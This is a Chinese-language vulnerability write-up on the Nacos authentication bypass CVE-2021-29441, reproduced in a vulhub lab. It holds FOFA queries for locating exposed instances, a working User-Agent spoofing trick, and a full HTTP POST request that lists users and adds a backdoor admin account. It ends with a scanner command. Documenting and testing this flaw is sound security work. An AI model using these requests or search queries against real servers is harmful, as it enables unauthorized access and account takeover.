Alibaba Nacos未授权访问
# 💛 Alibaba Nacos-未授权访问
# 1)漏洞信息
漏洞名称 | 受影响组件 | 漏洞类型 | 漏洞编号 |
---|---|---|---|
阿里巴巴Nacos未授权访问 阿里巴巴Nacos身份认证绕过 阿里巴巴Nacos权限认证绕过 | Alibaba Nacos (opens new window) | 未授权访问 | CVE-2021-29441 (opens new window) |
漏洞简介 |
---|
nacos在进行认证授权操作时,会判断请求的user-agent是否为”Nacos-Server”,如果是的话则不进行任何认证。 开发者原意是用来处理一些服务端对服务端的请求,但是由于配置的过于简单,并且将协商好的user-agent设置为Nacos-Server,直接硬编码在了代码里,这就导致了漏洞的出现。并且利用这个未授权漏洞,攻击者可以获取到用户名密码等敏感信息、可以添加登录账号并进入后台。 |
参考链接 |
---|
补丁或修复方案 |
---|
网络空间测绘 | 语法 |
---|---|
FOFA | title="Nacos" icon_hash="1227052603" |
鹰图 | web.title="Nacos" web.icon="???" |
# 2)漏洞环境
此处使用vulhub (opens new window)搭建漏洞环境
git clone https://github.com/vulhub/vulhub
cd vulhub/nacos/CVE-2021-29441
docker-compose up -d
1
2
3
2
3
启动环境后,访问8848端口即可看到Nacos页面
# 3)漏洞复现-手工
访问以下路径,应用程序提示403未授权
/nacos/v1/auth/users?pageNo=1&pageSize=10
1

修改User-Agent
为Nacos-Server
,刷新页面,成功以未授权状态访问接口
该接口列出了Nacos所有的用户名和加密后的密码

修改请求方式为POST
修改参数为?username=<用户名>&password=<密码>
POST /nacos/v1/auth/users?username=hello&password=123456a! HTTP/1.1
Host: 192.168.80.132:8848
User-Agent: Nacos-Server
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
1
2
3
4
5
6
7
8
9
10
2
3
4
5
6
7
8
9
10
发送请求后,如果应用程序返回以下信息,说明用户添加成功
再次查看用户列表,可以看到用户名 hello
访问登录页面,输入刚刚添加的 用户名和密码,点击 “提交”
成功登录Nacos管理页面
# 4)漏洞复现-vulcat
python3 vulcat.py -u <目标URL> -v cve-2021-29441
1
由于添加Nacos后台用户是危险操作,所以vulcat只会通过列出用户列表 来检测漏洞是否存在
如果使用者想添加Nacos用户,则需要手动操作(也可以自行编写EXP)
编辑 (opens new window)